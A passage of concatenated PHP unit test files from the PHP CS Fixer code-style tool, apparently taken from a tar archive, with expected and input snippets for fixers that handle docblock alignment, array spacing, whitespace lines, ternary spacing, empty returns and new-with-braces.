     * @param Foo $foo
     * @return $this
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testCustomAnnotationsStayUntouched()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @return string
     * @SuppressWarnings(PHPMD.UnusedLocalVariable)
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @return string
     *  @SuppressWarnings(PHPMD.UnusedLocalVariable)
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testCustomAnnotationsStayUntouched2()
    {
        $expected = <<<'EOF'
<?php

class X
{
    /**
     * @var Collection<Value>|Value[]
     * @ORM\ManyToMany(
     *  targetEntity="\Dl\Component\DomainModel\Product\Value\AbstractValue",
     *  inversedBy="externalAliases"
     * )
     */
    private $values;
}

EOF;

        $this->makeTest($expected);
    }

    public function testFixWithVar()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var Type
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var   Type
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithType()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @type Type
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @type   Type
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithVarAndDescription()
    {
        $expected = <<<'EOF'
<?php
    /**
     * This is a variable.
     *
     * @var Type
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * This is a variable.
     *
     * @var   Type
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithVarAndInlineDescription()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var Type This is a variable.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var   Type   This is a variable.
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithTypeAndInlineDescription()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @type Type This is a variable.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @type   Type   This is a variable.
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testRetainsNewLineCharacters()
    {
        // when we're not modifying a docblock, then line endings shouldn't change
        $this->makeTest("<?php\r    /**\r     * @param Example Hello there!\r     */\r");
    }

    public function testMalformedDocBlock()
    {
        $input = <<<'EOF'
<?php
    /**
     * @return string
     * */

EOF;

        $this->makeTest($input);
    }

    public function testDifferentIndentation()
    {
        $expected = <<<'EOF'
<?php
/**
 * @param int    $limit
 * @param string $more
 *
 * @return array
 */

        /**
         * @param int    $limit
         * @param string $more
         *
         * @return array
         */
EOF;

        $input = <<<'EOF'
<?php
/**
 * @param   int       $limit
 * @param   string       $more
 *
 * @return array
 */

        /**
         * @param   int       $limit
         * @param   string       $more
         *
         * @return array
         */
EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/TrimArraySpacesFixerTest.php000066600000032242151456236460022310 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Jared Henderson <jared@netrivet.com>
 */
class TrimArraySpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php $foo = array("foo");',
                '<?php $foo = array( "foo" );',
            ),

            array(
                '<?php $foo = ["foo"];',
                '<?php $foo = [ "foo" ];',
            ),

            array(
                '<?php $foo = array();',
                '<?php $foo = array( );',
            ),

            array(
                '<?php $foo = [];',
                '<?php $foo = [ ];',
            ),

            array(
                '<?php $foo = array("foo", "bar");',
                '<?php $foo = array( "foo", "bar" );',
            ),

            array(
                '<?php $foo = array("foo", "bar", );',
                '<?php $foo = array( "foo", "bar", );',
            ),

            array(
                '<?php $foo = ["foo", "bar", ];',
                '<?php $foo = [ "foo", "bar", ];',
            ),

            array(
                "<?php \$foo = array('foo', 'bar');",
                "<?php \$foo = array(\t'foo', 'bar'\t);",
            ),

            array(
                "<?php \$foo = array('foo', 'bar');",
                "<?php \$foo = array(  \t 'foo', 'bar'\t   );",
            ),

            array(
                '<?php $foo = array("foo", "bar");',
                '<?php $foo = array(    "foo", "bar"   );',
            ),

            array(
                '<?php $foo = ["foo", "bar"];',
                '<?php $foo = [ "foo", "bar" ];',
            ),

            array(
                '<?php $foo = ["foo", "bar"];',
                '<?php $foo = [     "foo", "bar"   ];',
            ),

            array(
                "<?php \$foo = ['foo', 'bar'];",
                "<?php \$foo = [\t'foo', 'bar'\t];",
            ),

            array(
                "<?php \$foo = ['foo', 'bar'];",
                "<?php \$foo = [ \t \t 'foo', 'bar'\t \t ];",
            ),

            array(
                '<?php $foo = array("foo", "bar"); $bar = array("foo", "bar");',
                '<?php $foo = array( "foo", "bar" ); $bar = array( "foo", "bar" );',
            ),

            array(
                '<?php $foo = ["foo", "bar"]; $bar = ["foo", "bar"];',
                '<?php $foo = [ "foo", "bar" ]; $bar = [ "foo", "bar" ];',
            ),

            array(
                '<?php $foo = array("foo" => "bar");',
                '<?php $foo = array( "foo" => "bar" );',
            ),

            array(
                '<?php $foo = ["foo" => "bar"];',
                '<?php $foo = [ "foo" => "bar" ];',
            ),

            array(
                '<?php $foo = array("foo");',
                '<?php $foo = array( "foo" );',
            ),

            array(
                '<?php $foo = ["foo"];',
                '<?php $foo = [ "foo" ];',
            ),

            array(
                '<?php $foo = array($y ? true : false);',
                '<?php $foo = array( $y ? true : false );',
            ),

            array(
                '<?php $foo = [$y ? true : false];',
                '<?php $foo = [ $y ? true : false ];',
            ),

            array(
                '<?php $foo = array(array("foo"), array("bar"));',
                '<?php $foo = array( array( "foo" ), array( "bar" ) );',
            ),

            array(
                '<?php $foo = [["foo"], ["bar"]];',
                '<?php $foo = [ [ "foo" ], [ "bar" ] ];',
            ),

            array(
                '<?php function(array $foo = array("bar")) {};',
                '<?php function(array $foo = array( "bar" )) {};',
            ),

            array(
                '<?php function(array $foo = ["bar"]) {};',
                '<?php function(array $foo = [ "bar" ]) {};',
            ),

            array(
                '<?php $foo = array(function() {return "foo";});',
                '<?php $foo = array( function() {return "foo";} );',
            ),

            array(
                '<?php $foo = [function() {return "foo";}];',
                '<?php $foo = [ function() {return "foo";} ];',
            ),

            array(
                "<?php \$foo = [function( \$a =    \tarray('foo')  )  { return       'foo'   ;}];",
                "<?php \$foo = [ function( \$a =    \tarray( 'foo' )  )  { return       'foo'   ;} ];",
            ),

            array(
                "<?php \$foo = array(function(  )  {\treturn     'foo'    \t;\t});",
                "<?php \$foo = array( function(  )  {\treturn     'foo'    \t;\t} );",
            ),

            array(
                "<?php \$foo = [function()\t{\t  \treturn 'foo';\t}];",
                "<?php \$foo = [ function()\t{\t  \treturn 'foo';\t} ];",
            ),

            array(
                "<?php \$foo \t   = array(function(\$a,\$b,\$c=array(3, 4))\t{\t  \treturn 'foo';\t});",
                "<?php \$foo \t   = array( function(\$a,\$b,\$c=array( 3, 4 ))\t{\t  \treturn 'foo';\t} );",
            ),

            array(
                '<?php $foo = array($bar->method(), Foo::doSomething());',
                '<?php $foo = array( $bar->method(), Foo::doSomething() );',
            ),

            array(
                '<?php $foo = [$bar->method(), Foo::doSomething()];',
                '<?php $foo = [ $bar->method(), Foo::doSomething() ];',
            ),

            array(
                "<?php \$foo = [\$bar->method( \$a,\$b,    \$c,\t\t \$d  ), Foo::doSomething()];",
                "<?php \$foo = [ \$bar->method( \$a,\$b,    \$c,\t\t \$d  ), Foo::doSomething() ];",
            ),

            array(
                "<?php \$foo   =\t array(\$bar->method( \$a,\$b,    \$c,\t\t \$d  ), \$bar -> doSomething(  ['baz']));",
                "<?php \$foo   =\t array( \$bar->method( \$a,\$b,    \$c,\t\t \$d  ), \$bar -> doSomething(  [ 'baz']) );",
            ),

            array(
                '<?php $foo = array(array("foo"), array("bar"));',
                '<?php $foo = array( array("foo"), array("bar") );',
            ),

            array(
                '<?php $foo = [["foo"], ["bar"]];',
                '<?php $foo = [ ["foo"], ["bar"] ];',
            ),

            array(
                '<?php $foo = array(array("foo"), array("bar"));',
                '<?php $foo = array(array( "foo" ), array( "bar" ));',
            ),

            array(
                '<?php $foo = [["foo"], ["bar"]];',
                '<?php $foo = [[ "foo" ], [ "bar" ]];',
            ),

            array(
                '<?php $foo = array(array("foo"), array("bar"));',
                '<?php $foo = array( array( "foo" ), array( "bar" ) );',
            ),

            array(
                '<?php $foo = [["foo"], ["bar"]];',
                '<?php $foo = [ [ "foo" ], [ "bar" ] ];',
            ),

            array(
                '<?php $foo = array(array("foo"), array("bar"));',
            ),

            array(
                '<?php $foo = [["foo"], ["bar"]];',
            ),

            array(
                '<?php $foo = array(/* empty array */);',
                '<?php $foo = array( /* empty array */ );',
            ),

            array(
                '<?php $foo = [/* empty array */];',
                '<?php $foo = [ /* empty array */ ];',
            ),

            array(
                '<?php someFunc(array(/* empty array */));',
                '<?php someFunc(array( /* empty array */ ));',
            ),

            array(
                '<?php someFunc([/* empty array */]);',
                '<?php someFunc([ /* empty array */ ]);',
            ),

            array(
                '<?php
    someFunc(array(
        /* empty array */
    ));',
            ),

            array(
                '<?php
    someFunc([
        /* empty array */
    ]);',
            ),

            array(
                '<?php
    someFunc(array(
        /* empty
        array */));',
                '<?php
    someFunc(array(
        /* empty
        array */ ));',
            ),

            array(
                '<?php
    someFunc([
        /* empty
        array */]);',
                '<?php
    someFunc([
        /* empty
        array */ ]);',
            ),

            array(
                '<?php
    $a = array( // My array of:
        1,      // - first item
        2,      // - second item
    );',
            ),

            array(
                '<?php
    $a = [  // My array of:
        1,  // - first item
        2,  // - second item
    ];',
            ),

            array(
                '<?php
    $a = array(
            // My array of:
        1,  // - first item
        2,  // - second item
    );',
            ),

            array(
                '<?php
    $a = [
            // My array of:
        1,  // - first item
        2,  // - second item
    ];',
            ),

            array(
                '<?php
    $foo = array(/* comment */
        1
    );',
                '<?php
    $foo = array( /* comment */
        1
    );',
            ),

            array(
                '<?php
    $foo = [/* comment */
        1
    ];',
                '<?php
    $foo = [ /* comment */
        1
    ];',
            ),

            // don't fix array syntax within comments
            array(
                '<?php someFunc([/* array( "foo", "bar", [ "foo" ] ) */]);',
                '<?php someFunc([ /* array( "foo", "bar", [ "foo" ] ) */ ]);',
            ),

            array(
                '<?php $foo = array($bar[  4 ]);',
                '<?php $foo = array( $bar[  4 ] );',
            ),

            array(
                '<?php $foo = [$bar[  4 ]];',
                '<?php $foo = [ $bar[  4 ] ];',
            ),

            array(
                '<?php // array( "foo", "bar" );',
            ),

            // multiple single line nested arrays on one line
            array(
                '<?php $foo = array("foo", "bar", [1, 2, array(3)]); $baz = ["hash", 1, array("test")];',
                '<?php $foo = array( "foo", "bar", [ 1, 2, array( 3 )] ); $baz = [ "hash", 1, array( "test") ];',
            ),

            array(
                "<?php \$foo = array( \n'bar'\n );",
            ),

            array(
                "<?php \$foo = [ \n'bar'\n ];",
            ),

            array(
                "<?php \$foo = array( \n'a', 'b',\n'c');",
                "<?php \$foo = array( \n'a', 'b',\n'c' );",
            ),

            array(
                "<?php \$foo = [ \n'a', 'b',\n'c'];",
                "<?php \$foo = [ \n'a', 'b',\n'c' ];",
            ),

            array(
                "<?php \$foo = array('a', 'b',\n'c'\n);",
                "<?php \$foo = array( 'a', 'b',\n'c'\n);",
            ),

            array(
                "<?php \$foo = ['a', 'b',\n'c'\n];",
                "<?php \$foo = [ 'a', 'b',\n'c'\n];",
            ),

            // dont fix array syntax within string
            array(
                '<?php $foo = [\'$bar = array( "foo" );\', array(1, 5)];',
                '<?php $foo = [ \'$bar = array( "foo" );\', array(1, 5 ) ];',
            ),

            // crazy nested garbage pile #1
            array(
                "<?php \$foo = array(/* comment \$bar = array([ ], array( 'foo' ) ), */ function(\$a = array('foo'), \$b = [/* comment [] */]) {}, array('foo' => 'bar', 'baz' => \$x[  4], 'hash' => array(1,2,3)));",
                "<?php \$foo = array( /* comment \$bar = array([ ], array( 'foo' ) ), */ function(\$a = array( 'foo' ), \$b = [ /* comment [] */ ]) {}, array( 'foo' => 'bar', 'baz' => \$x[  4], 'hash' => array(1,2,3 )) );",
            ),

            // crazy nested garbage pile #2
            array(
                '<?php $a = [array("foo", "bar ", [1, 4, function($x = ["foobar", 2]) {}, [/* array( 1) */]]), array("foo", [$y[ 3]()], \'bar\')];',
                '<?php $a = [ array("foo", "bar ", [ 1, 4, function($x = [ "foobar", 2 ]) {}, [/* array( 1) */] ] ), array("foo", [ $y[ 3]() ], \'bar\') ];',
            ),

            array(
                '<?php
    $foo = array(
        1 => 2, // comment
    );
',
            ),
        );
    }

    /**
     * @dataProvider provideExamples55
     * @requires PHP 5.5
     */
    public function testFix55($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples55()
    {
        return array(
            array(
                '<?php
function a()
{
    yield array("a" => 1, "b" => 2);
}',
                '<?php
function a()
{
    yield array( "a" => 1, "b" => 2 );
}',
            ),
            array(
                '<?php
function a()
{
    yield ["a" => 1, "b" => 2];
}',
                '<?php
function a()
{
    yield [ "a" => 1, "b" => 2 ];
}',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/WhitespacyLinesFixerTest.php000066600000004066151456236460022355 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class WhitespacyLinesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
$r = 5 +6;                   '.'

$t = true> 9;       '.'
',
            ),
            array(
                '<?php
    $a = 1;   ',
            ),
            array(
                "<?php
\t\$b = 1;\t\t",
            ),
            array(
                '<?php
    $b = 2;
',
                '<?php
    $b = 2;
    ',
            ),
            array(
                '<?php
    $b = 3;


',
                '<?php
    $b = 3;
    '.'
    '.'
    ',
            ),
            array(
                '<?php
    $b = 4;



    $b += 4;',
                '<?php
    $b = 4;
    '.'
    '.'
    '.'
    $b += 4;',
            ),
            array(
                "<?php\n\n\n\$b = 5;",
                "<?php\n                \n\t\n\$b = 5;",
            ),
            array(
                "<?php\necho 1;\n?>\n\n\n\n",
            ),
            array(
                "<?php\necho <<<HTML\ndata     \n  \n \t  \n     \nHTML\n;\n//a",
            ),
            array(
                "<?php\n\$sql = 'SELECT * FROM products WHERE description = \"This product\n   \nis nice\"';",
            ),
            array(
                '<?php
    /**
     * @const Foo.
     */
    const FOO = "BAR";
',
            ),
            array(
                "<?php\n\n    \$a = 1;\n\n    \$b = 2;",
                "<?php\n\n    \$a = 1;\n    \n    \$b = 2;",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/StandardizeNotEqualFixerTest.php000066600000001450151456236460023155 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class StandardizeNotEqualFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array('<?php $a = ($b != $c);'),
            array('<?php $a = ($b != $c);', '<?php $a = ($b <> $c);'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ArrayElementNoSpaceBeforeCommaFixerTest.php000066600000007742151456236460025207 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Adam Marczuk <adam@marczuk.info>
 */
final class ArrayElementNoSpaceBeforeCommaFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider testFixProvider
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function testFixProvider()
    {
        return array(
            //old style array
            array(
                '<?php $x = array(1, "2",3);',
                '<?php $x = array(1 , "2",3);',
            ),
            //old style array with comments
            array(
                '<?php $x = array /* comment */ (1,  "2", 3);',
                '<?php $x = array /* comment */ (1  ,  "2", 3);',
            ),

            //short array
            array(
                '<?php $x = [1,  "2", 3,$y];',
                '<?php $x = [1 ,  "2", 3 ,$y];',
            ),
            // don't change function calls
            array(
                '<?php $x = [ 1, "2",getValue(1,2  ,3 ),$y];',
                '<?php $x = [ 1 , "2",getValue(1,2  ,3 )   ,$y];',
            ),
            // don't change function declarations
            array(
                '<?php $x = [1, "2", function( $x ,$y) { return $x + $y; }, $y];',
                '<?php $x = [1 , "2", function( $x ,$y) { return $x + $y; }, $y];',
            ),
            // don't change function declarations but change array inside
            array(
                '<?php $x = [ 1,  "2","c" => function( $x ,$y) { return [$x, $y]; }, $y];',
                '<?php $x = [ 1 ,  "2","c" => function( $x ,$y) { return [$x , $y]; }, $y];',
            ),
            // associative array (old)
            array(
                '<?php $x = array( "a" => $a, "b" =>  "b",3=>$this->foo(), "d" => 30);',
                '<?php $x = array( "a" => $a , "b" =>  "b",3=>$this->foo()  , "d" => 30);',
            ),
            // associative array (short)
            array(
                '<?php $x = [  "a" => $a, "b"=>"b",3 => $this->foo(), "d" =>30  ];',
                '<?php $x = [  "a" => $a , "b"=>"b",3 => $this->foo()    , "d" =>30  ];',
            ),
            // nested arrays
            array(
                '<?php $x = ["a" => $a, "b" => "b", 3=> [5,6, 7], "d" => array(1, 2,3,4)];',
                '<?php $x = ["a" => $a , "b" => "b", 3=> [5 ,6, 7]  , "d" => array(1, 2,3 ,4)];',
            ),
            // multi line array
            array(
                '<?php $x = [  "a" =>$a,
                    "b"=>
                "b",
                    3 => $this->foo(),
                    "d" => 30  ];',
                '<?php $x = [  "a" =>$a ,
                    "b"=>
                "b",
                    3 => $this->foo()  ,
                    "d" => 30  ];',
            ),
            // multi line array
            array(
                '<?php $a = [
                            "foo",
                            "bar",
                        ];',
                '<?php $a = [
                            "foo" ,
                            "bar"
                            ,
                        ];',
            ),
            // nested multiline
            array(
                '<?php $a = array(array(
                                    array(T_OPEN_TAG),
                                    array(T_VARIABLE, "$x"),
                        ), 1);',
            ),
            array(
                '<?php $a = array( // comment
                    123,
                );',
            ),
            array(
                "<?php \$x = array(<<<'EOF'
<?php \$a = '\\foo\\bar\\\\';
EOF
                , <<<'EOF'
<?php \$a = \"\\foo\\bar\\\\\";
EOF
                    );",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocScalarFixerTest.php000066600000010764151456236460021607 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocScalarFixerTest extends AbstractFixerTestBase
{
    public function testBasicFix()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @return int
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @return integer
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testPropertyFix()
    {
        $expected = <<<'EOF'
<?php
/**
 * @method int foo()
 * @property int $foo
 * @property-read bool $bar
 * @property-write float $baz
 */

EOF;

        $input = <<<'EOF'
<?php
/**
 * @method integer foo()
 * @property integer $foo
 * @property-read boolean $bar
 * @property-write double $baz
 */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNotModifyVariables()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param int $integer
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param integer $integer
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithTabsOnOneLine()
    {
        $expected = "<?php /**\t@return\tbool\t*/";

        $input = "<?php /**\t@return\tboolean\t*/";

        $this->makeTest($expected, $input);
    }

    public function testFixMoreThings()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there mr integer!
     *
     * @param int|float $integer
     * @param int|int[] $foo
     *
     * @return string|bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there mr integer!
     *
     * @param integer|real $integer
     * @param int|integer[] $foo
     *
     * @return string|boolean
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixVar()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var int Some integer value.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var integer Some integer value.
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixVarWithMoreStuff()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var bool|int|Double Booleans, integers and doubles.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var boolean|integer|Double Booleans, integers and doubles.
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixType()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @type float
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @type real
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNotFix()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var notaboolean
     */

EOF;

        $this->makeTest($expected);
    }

    public function testComplexMix()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var notabooleanthistime|bool|integerr
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @var notabooleanthistime|boolean|integerr
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNotModifyComplexTag()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @Type("boolean")
     */
EOF;

        $this->makeTest($expected);
    }

    public function testDoNotModifyStrings()
    {
        $expected = <<<'EOF'
<?php

$string = '
    /**
     * @var boolean
     */
';

EOF;

        $this->makeTest($expected);
    }

    public function testEmptyDocBlock()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     */

EOF;

        $this->makeTest($expected);
    }

    public function testWrongCasedPhpdocTagIsNotAltered()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @Param boolean
     *
     * @Return int
     */

EOF;
        $this->makeTest($expected);
    }

    public function testInlineDoc()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Does stuffs with stuffs.
     *
     * @param array $stuffs {
     *     @type bool $foo
     *     @type int $bar
     * }
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Does stuffs with stuffs.
     *
     * @param array $stuffs {
     *     @type boolean $foo
     *     @type integer $bar
     * }
     */

EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/TernarySpacesFixerTest.php000066600000004167151456236460022027 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class TernarySpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $a = $a ? 1 : 0;',
                '<?php $a = $a  ? 1 : 0;',
            ),
            array(
                '<?php $val = (1===1) ? true : false;',
                '<?php $val = (1===1)?true:false;',
            ),
            array(
                '<?php $val = 1===1 ? true : false;',
                '<?php $val = 1===1?true:false;',
            ),
            array(
                '<?php
$a = $b ? 2 : ($bc ? 2 : 3);
$a = $bc ? 2 : 3;',
                '<?php
$a = $b   ?   2  :    ($bc?2:3);
$a = $bc?2:3;',
            ),
            array(
                '<?php $config = $config ?: new Config();',
                '<?php $config = $config ? : new Config();',
            ),
            array(
                '<?php
$a = $b ? (
        $c + 1
    ) : (
        $d + 1
    );',
            ),
            array(
                '<?php
$a = $b
    ? $c
    : $d;',
                '<?php
$a = $b
    ?$c
    :$d;',
            ),
            array(
                '<?php
$a = $b  //
    ? $c  /**/
    : $d;',
                '<?php
$a = $b  //
    ?$c  /**/
    :$d;',
            ),
            array(
                '<?php
$a = ($b
    ? $c
    : ($d
        ? $e
        : $f
    )
);',
            ),
            array(
                '<?php
$a = ($b
    ? ($c1 ? $c2 : ($c3a ?: $c3b))
    : ($d1 ? $d2 : $d3)
);',
                '<?php
$a = ($b
    ? ($c1?$c2:($c3a? :$c3b))
    : ($d1?$d2:$d3)
);',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/EmptyReturnFixerTest.php000066600000002746151456236460021543 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class EmptyReturnFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            // check correct statements aren't changed
            array('<?php return;'),
            array('<?php return  ;'),
            array('<?php return \'null\';'),
            array('<?php return false;'),
            array('<?php return (false );'),
            array('<?php return null === foo();'),
            array('<?php return array() == null ;'),

            // check we modified those that can be changed
            array('<?php return;', '<?php return'.' null;'),
            array('<?php return;', '<?php return'.' (null);'),
            array('<?php return;', '<?php return'.' ( null    );'),
            array('<?php return;', '<?php return'.' ( (( null)));'),
            array('<?php return /* hello */;', '<?php return /* hello */'.' null  ;'),
            array('<?php return;', '<?php return NULL;'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NewWithBracesFixerTest.php000066600000021733151456236460021747 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class NewWithBracesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provide54Cases
     * @requires PHP 5.4
     */
    public function testFix54($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provide56Cases
     * @requires PHP 5.6
     */
    public function testFix56($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function testFix70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $x = new X();',
                '<?php $x = new X;',
            ),
            array(
                '<?php $y = new Y() ;',
                '<?php $y = new Y ;',
            ),
            array(
                '<?php $x = new Z() /**/;//',
                '<?php $x = new Z /**/;//',
            ),
            array(
                '<?php $foo = new $foo();',
                '<?php $foo = new $foo;',
            ),
            array(
                '<?php $xyz = new X(new Y(new Z()));',
                '<?php $xyz = new X(new Y(new Z));',
            ),
            array(
                '<?php $foo = (new $bar())->foo;',
                '<?php $foo = (new $bar)->foo;',
            ),
            array(
                '<?php $self = new self();',
                '<?php $self = new self;',
            ),
            array(
                '<?php $static = new static();',
                '<?php $static = new static;',
            ),
            array(
                '<?php $a = array( "key" => new DateTime(), );',
                '<?php $a = array( "key" => new DateTime, );',
            ),
            array(
                '<?php $a = array( "key" => new DateTime() );',
                '<?php $a = array( "key" => new DateTime );',
            ),
            array(
                '<?php $a = new $b[$c]();',
                '<?php $a = new $b[$c];',
            ),
            array(
                '<?php $a = new $b[$c[$d ? foo() : bar("bar[...]") - 1]]();',
                '<?php $a = new $b[$c[$d ? foo() : bar("bar[...]") - 1]];',
            ),
            array(
                '<?php $a = new $b[\'class\']();',
                '<?php $a = new $b[\'class\'];',
            ),
            array(
                '<?php $a = new $b[\'class\'] ($foo[\'bar\']);',
            ),
            array(
                '<?php $a = new $b[\'class\'] () ;',
            ),
            array(
                '<?php $a = new $b[$c] ($hello[$world]) ;',
            ),
            array(
                "<?php \$a = new \$b['class']()\r\n\t ;",
                "<?php \$a = new \$b['class']\r\n\t ;",
            ),
            array(
                '<?php $a = $b ? new DateTime() : $b;',
                '<?php $a = $b ? new DateTime : $b;',
            ),
            array(
                '<?php new self::$adapters[$name]["adapter"]();',
                '<?php new self::$adapters[$name]["adapter"];',
            ),
            array(
                '<?php $a = new \Exception()?> <?php echo 1;',
                '<?php $a = new \Exception?> <?php echo 1;',
            ),
            array(
                '<?php $b = new \StdClass() /**/?>',
                '<?php $b = new \StdClass /**/?>',
            ),
            array(
